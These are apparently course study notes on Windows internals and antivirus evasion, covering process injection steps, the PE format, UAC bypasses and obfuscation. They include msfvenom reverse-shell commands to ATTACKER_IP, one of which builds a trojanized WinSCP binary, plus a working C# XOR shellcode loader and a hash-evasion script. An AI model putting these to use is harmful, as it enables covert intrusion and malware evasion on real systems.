Evasion
An introduction to evading common detection techniques
Last updated: March 5th, 2023Host
Windows Overview
Internals
Processes
Process Components | Purpose |
---|---|
Private Virtual Address Space | Virtual memory addresses that the process is allocated. |
Executable Program | Defines code and data stored in the virtual address space. |
Open Handles | Defines handles to system resources accessible to the process. |
Security Context | The access token defines the user, security groups, privileges, and other security information. |
Process ID | Unique numerical identifier of the process. |
Threads | Section of a process scheduled for execution. |
Components of a Process in Memory | Purpose |
---|---|
Code | Code to be executed by the process. |
Global Variables | Stored variables. |
Process Heap | Defines the heap where data is stored. |
Process Resources | Defines further resources of the process. |
Environment Block | Data structure to define process information. |
- Common Process Injection Steps
- Shellcode Injection
- Open a target process with all access rights.
- OpenProcess
- Allocate target process memory for the shellcode.
- VirtualAllocEx
- Write shellcode to allocated memory in the target process.
- WriteProcessMemory
- Execute the shellcode using a remote thread.
- CreateRemoteThread
- Process Hollowing
- Create a target process in a suspended state.
- CreateProcessA
- Open a malicious image.
- CreateFileA
- GetFileSize
- VirtualAlloc
- ReadFile
- Un-map legitimate code from process memory.
- GetThreadContext
- ReadProcessMemory
- GetModuleHandleA
- ZwUnmapViewOfSection
- Allocate memory locations for malicious code and write each section into the address space.
- VirtualAlloc
- WriteProcessMemory
- Set an entry point for the malicious code.
- SetThreadContext
- Take the target process out of a suspended state.
- ResumeThread
Threads
Component | Purpose |
---|---|
Stack | All data relevant and specific to the thread (exceptions, procedure calls, etc.) |
Thread Local Storage | Pointers for allocating storage to a unique data environment |
Stack Argument | Unique value assigned to each thread |
Context Structure | Holds machine register values maintained by the kernel |
- Thread Execution Hijacking
- Locate and open a target process to control.
- OpenProcess
- Allocate memory region for malicious code.
- VirtualAllocEx
- Write malicious code to allocated memory.
- WriteProcessMemory
- Identify the thread ID of the target thread to hijack.
- CreateToolhelp32Snapshot
- Thread32First
- Thread32Next
- Open the target thread.
- OpenThread
- Suspend the target thread.
- SuspendThread
- Obtain the thread context.
- GetThreadContext
- Update the instruction pointer to the malicious code.
- Rewrite the target thread context.
- SetThreadContext
- Resume the hijacked thread.
- ResumeThread
Virtual Memory
- Provides each process with a private virtual address space
- A memory manager translates virtual and physical addresses
- The theoretical maximum virtual address space is 4 GB on a 32-bit x86 system and 256 TB on a 64-bit modern system
- The address space is split in half, bottom for processes and top for OS
- Administrators can alter this allocation layout for applications that require a larger address space through settings (increaseUserVA) or the AWE (Address Windowing Extensions)
DLLs
- A library that contains code and data that can be used by more than one program at the same time
- When a DLL is loaded as a function in a program, the DLL is assigned as a dependency
- DLLs can be loaded in a program using load-time dynamic linking (explicit calls by using header (.h) and import library (.lib) file) or run-time dynamic linking (a separate function (LoadLibrary or LoadLibraryEx) loads the DLL and called using GetProcAddress).
- Dynamic-link Library Injection (DLL Injection)
- Locate a target process to inject.
- getProcessId
- CreateToolhelp32Snapshot
- Process32First
- Process32Next
- Open the target process.
- OpenProcess
- Allocate memory region for malicious DLL.
- VirtualAllocEx
- Write the malicious DLL to allocated memory.
- WriteProcessMemory
- Load and execute the malicious DLL.
- LoadLibrary
- GetProcAddress
- GetModuleHandle
- CreateRemoteThread
PE format
- The PE (Portable Executable) and COFF (Common Object File Format) files make up the PE format
- The PE format defines the information about the executable, stored data, and the structure of how data components are stored.
Component | Description |
---|---|
DOS Header | Initial part of the PE file with DOS-specific information. |
MZ DOS Header | Marked by "MZ" signature, it is the start of the DOS header. |
DOS Stub | Run by default at the beginning of a file that prints a compatibility message. |
PE File Header | Contains information about the structure and attributes of the PE file. |
Image Optional Header | Additional information about the PE file, including the entry point, image base, and more. |
Data Dictionaries | Tables that store various data structures and information about the PE file. |
Section Table | Descriptions of each section in the PE file, including code and data sections. |
The Section table has the following sections:
Section | Purpose |
---|---|
.text | Contains executable code and the entry point for the program. |
.data | Contains initialized data such as strings, variables, and other data. |
.rdata | Read Only |
.edata | Exportable objects |
.idata | Imported objects |
.reloc | Relocation information used to adjust addresses when the PE file is loaded at a different base address. |
.rsrc | Contains application resources such as images, icons, and other non-executable data. |
.debug | Contains debug information used for debugging and symbol resolution. |
- Defining the shellcode as a local variable within the main function will store it in the .TEXT PE section.
- Defining the shellcode as a global variable will store it in the .Data section.
- Another technique involves storing the shellcode as a raw binary in an icon image and linking it within the code, so in this case, it shows up in the .rsrc Data section.
- We can add a custom data section to store the shellcode.
API
Subsystem and Hardware Interaction
Mode | Access to Hardware | Memory Access |
---|---|---|
User Mode | No direct hardware access | Access to "owned" memory locations |
Kernel Mode | Direct hardware access | Access to entire physical memory |
Components of the Windows API
Layer | Explanation |
---|---|
API | A top-level/general term or theory used to describe any call found in the Win32 API structure. |
Header files or imports | Defines libraries to be imported at run-time, defined by header files or library imports. Uses pointers to obtain the function address. |
Core DLLs | A group of four DLLs that define call structures (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem. |
Supplemental DLLs | Other DLLs defined as part of the Windows API. Control separate subsystems of the Windows OS. Approximately 36 other defined DLLs (e.g., NTDLL, COM, FVEAPI, etc.). |
Call Structures | Defines the API call itself and parameters of the call. |
API Calls | The API call used within a program, with function addresses obtained from pointers. |
In/Out Parameters | The parameter values that are defined by the call structures. |
Call Structures
OS Libraries
ASLR obscures memory address locations. P/Invoke and windows.h are two common ways to overcome the limitations introduced by ASLR.
- Windows Header File
- Once the windows.h file is included at the top of an unmanaged program; any Win32 function can be called.
- P/Invoke
- P/invoke provides tools to handle the entire process of invoking an unmanaged function from managed code or, in other words, calling the Win32 API.
Commonly Abused API Calls
API Call | Explanation |
---|---|
LoadLibraryA | Maps a specified DLL into the address space of the calling process. |
GetUserNameA | Retrieves the name of the user associated with the current thread. |
GetComputerNameA | Retrieves a NetBIOS or DNS name of the local computer. |
GetVersionExA | Obtains information about the version of the operating system currently running. |
GetModuleFileNameA | Retrieves the fully qualified path for the file of the specified module and process. |
GetStartupInfoA | Retrieves contents of STARTUPINFO structure (window station, desktop, standard handles, and appearance of a process). |
GetModuleHandle | Returns a module handle for the specified module if mapped into the calling process's address space. |
GetProcAddress | Returns the address of a specified exported DLL function. |
VirtualProtect | Changes the protection on a region of memory in the virtual address space of the calling process. |
UAC
UAC Overview
- UAC forces new processes to run as non-privileged
- Elevation presents a dialogue box for the user to confirm
- UAC is MIC:
- Non-administrators will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.
- Administrators will receive two access tokens:
- Filtered Token: A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.
- Elevated Token: A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL
Integrity Level | Use |
---|---|
Low | Generally used for interaction with the Internet (i.e., Internet Explorer). Has very limited permissions. |
Medium | Assigned to standard users and Administrators' filtered tokens. |
High | Used by Administrators' elevated tokens if UAC is enabled. If UAC is disabled, all administrators will always use a high IL token. |
System | Reserved for system use. |
UAC Internals
- The user requests to run an application as administrator.
- A ShellExecute API call is made using the runas verb.
- The request gets forwarded to Appinfo to handle elevation.
- The application manifest is checked to see if AutoElevation is allowed
- Appinfo executes consent.exe, which shows the UAC prompt on a secure desktop.
- A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way.
- If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token.
- Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.
UAC Bypasses
- Gui
- msconfig.exe
- Launching a command prompt from the tools section will spawn at High IL
- azman.msc
- A shell can be spawned by going to help, right clicking on the page and hitting View Source. Then, from notepad open cmd.exe
UAC Automated Exploitation
Evasion Techniques
AV Review
- Static Detection
- Uses pattern-matching techniques in the detection, such as finding a unique string, CRC (Checksums), sequence of bytecode/Hex values, and Cryptographic hashes (MD5, SHA1, etc.)
- Dynamic Detection
- Checks files at runtime by using Windows Hooks to inspect api and application calls or by sandboxing apps and running them to observe.
- Heuristics Detection
- Static
- Decompiling (if possible) and extracting the source code of the malicious software.
- Dynamic
- Uses predefined behavioral rules
Shellcode
Creating Shellcode
- We have to know what values we need to set in different processor registers to make syscalls
- For x64 Linux:
- The rax register is used to indicate the function in the kernel
- Parameters are set through the rdi, rsi and rdx registers
- Call Table
- We need to define a section and a start
- jmp to function that has a call to the function that sets all the values
- Compile: nasm -f elf64 file.asm
- extract text section: objcopy -j .text -O binary file file.text
- convert to hex: xxd -i file.text
Encoding, Encrypting, Packing and Binding
- Encoding
#Likely to be flagged msfvenom --list encoders | grep excellent #Custom #payload msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp #encoder using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Encrypter { internal class Program { private static byte[] xor(byte[] shell, byte[] KeyBytes) { for (int i = 0; i < shell.Length; i++) { shell[i] ^= KeyBytes[i % KeyBytes.Length]; } return shell; } static void Main(string[] args) { //XOR Key - It has to be the same in the Droppr for Decrypting string key = "PassK3y123!"; //Convert Key into bytes byte[] keyBytes = Encoding.ASCII.GetBytes(key); //Original Shellcode here (csharp format) byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 }; //XORing byte by byte and saving into a new array of bytes byte[] encoded = xor(buf, keyBytes); Console.WriteLine(Convert.ToBase64String(encoded)); } } } #selfdecoding payload using System; using System.Net; using System.Text; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; private static byte[] xor(byte[] shell, byte[] KeyBytes) { for (int i = 0; i < shell.Length; i++) { shell[i] ^= KeyBytes[i % KeyBytes.Length]; } return shell; } public static void Main() { string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE="; byte[] data = Convert.FromBase64String(dataBS64); string key = "PassK3y123!"; //Convert Key into bytes byte[] keyBytes = Encoding.ASCII.GetBytes(key); byte[] encoded = xor(data, keyBytes); UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length); IntPtr threadHandle = IntPtr.Zero; UInt32 threadId = 0; IntPtr parameter = IntPtr.Zero; threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); WaitForSingleObject(threadHandle, 0xFFFFFFFF); } }
- Encryption
msfvenom --list encrypt
- Packers
- Achieve some level of obfuscation by implementing a mixture of transforms that include compressing, encrypting, adding debugging protections and many others.
- Packed code is executed like this:
- The unpacker gets executed first, as it is the executable's entry point.
- The unpacker reads the packed application's code.
- The unpacker will write the original unpacked code somewhere in memory and direct the execution flow of the application to it.
- If the AV does in-memory scans, malicious code may be picked up.
- Binders
- Merge two (or more) executables into a single one.
- Does not evade AVs but can trick users
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe
Obfuscation
- Obfuscation Methods
- Object Concatenation
- Non-Interpreted Characters
Obfuscation Method | Purpose |
---|---|
Array Transformation | Transforms an array by splitting, merging, folding, and flattening |
Data Encoding | Encodes data with mathematical functions or ciphers |
Data Procedurization | Substitutes static data with procedure calls |
Data Splitting/Merging | Distributes information of one variable into several new variables |
Junk Code | Adds junk instructions that are non-functional, also known as code stubs |
Separation of Related Code | Separates related codes or instructions to increase difficulty in reading the program |
Stripping Redundant Symbols | Strips symbolic information such as debug information or other symbol tables |
Meaningless Identifiers | Transforms a meaningful identifier to something meaningless |
Implicit Controls | Converts explicit control instructions to implicit instructions |
Dispatcher-based Controls | Determines the next block to be executed during runtime |
Probabilistic Control Flows | Introduces replications of control flows with the same semantics but different syntax |
Bogus Control Flows | Control flows deliberately added to a program but will never be executed |
Language | Concatenation Operator |
---|---|
Python | “+” |
PowerShell | “+”, ”,”, ”$”, or no operator at all |
C# | “+”, “String.Join”, “String.Concat” |
C | “strcat” |
C++ | “+”, “append” |
Character | Purpose | Example |
---|---|---|
Breaks | Break a single string into multiple substrings and combine them | ('co'+'ffe'+'e') |
Reorders | Reorder a string’s components | ('{1}{0}'-f'ffee','co') |
Whitespace | Include white space that is not interpreted | .( 'Ne' +'w-Ob' + 'ject') |
Ticks | Include ticks that are not interpreted | d\`own\`LoAd\`Stri\`ng |
Random Case | Tokens are generally not case sensitive and can be any arbitrary case | dOwnLoAdsTRing |
Signature
- Static Code-Based
- Obfuscation Methods
Obfuscation Method Purpose Method Proxy Creates a proxy method or a replacement object Method Scattering/Aggregation Combines multiple methods into one or scatters a method into several Method Clone Creates replicas of a method and randomly calls each - Obfuscation Classes
- Static Property-Based Signatures
- File Hashes
- Bit Flipping:
import sys orig = list(open(sys.argv[1], "rb").read()) i = 0 while i < len(orig): current = list(orig) current[i] = chr(ord(current[i]) ^ 0xde) path = "%d.exe" % i output = "".join(str(e) for e in current) open(path, "wb").write(output) i += 1 print("done")
- Entropy
- To lower entropy, we can replace random identifiers with randomly selected English words.
- Behavioral
- Observing Imports
- Use dynamic loading
- Define the structure of the call
- Obtain the handle of the module the call address is present in
- Obtain the process address of the call
- Use the newly created call
- Hooking Malicious Calls
Obfuscation Method | Purpose |
---|---|
Class Hierarchy Flattening | Create proxies for classes using interfaces |
Class Splitting/Coalescing | Transfer local variables or instruction groups to another class |
Dropping Modifiers | Remove class modifiers (public, private) and make all members public |